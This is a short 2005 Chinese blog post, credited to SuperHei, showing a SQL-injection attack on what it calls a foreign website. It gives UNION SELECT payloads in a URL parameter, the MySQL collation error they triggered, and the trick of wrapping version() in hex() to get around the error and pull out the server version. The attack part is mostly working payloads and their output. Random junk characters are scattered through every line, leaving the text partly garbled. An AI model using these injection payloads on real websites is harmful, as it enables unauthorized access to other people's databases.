本文作者:SuperHei4 s2 ?2 \8 D9 d E( |( y: U
文章性质:原创
) d4 Q7 o; c% b8 ^( Y发布日期:2005-10-184 x7 v% n& T( p3 W& a
测试个国外的站时:; C% S) R) H# d7 @- J5 I
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
' y" A) F! e3 S5 i: _3 W$ X返回错误:& b8 V9 U. Q {5 T
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
3 x6 F0 W. _; F; t; EMySQL Error No. 126! X4 Y# s6 K2 ^! i+ `3 m
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。/ v1 |/ n: U+ \ u6 o, c8 E
解决办法:转为其他编码如hex。
& i/ `0 z/ D1 z6 {" k8 Zurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
& d$ Z5 W6 g6 L6 Q; ]成功得到hex(version())的值为:
7 ]; i3 ~ |% T+ |- y$ L) d7 L4 J1 U342E312E332D62657461, N) d- Q+ T7 v+ s G3 _5 `
回Mysql查询下得到:
5 s, E6 X" K$ P* F7 }" I) Y! I; \; Nmysql> select 0x342E312E332D62657461;
& d; D" X$ T& X$ I! V5 ~+------------------------+
( v% R e9 o6 h! s* i2 O| 0x342E312E332D62657461 |4 d: X- A: @; k* T3 D: `9 G
+------------------------+
" S- Z, W: \) U4 m" C0 r! N| 4.1.3-beta |' D9 W4 \, `( U" t" P: j( w6 m. H& l8 L
+------------------------+ P f" G, K0 X! H1 T7 S `; m
1 row in set (0.00 sec)6 o/ r& L. e! M. s7 e& U- |
1 x3 m, P8 w9 ~, |4 j
|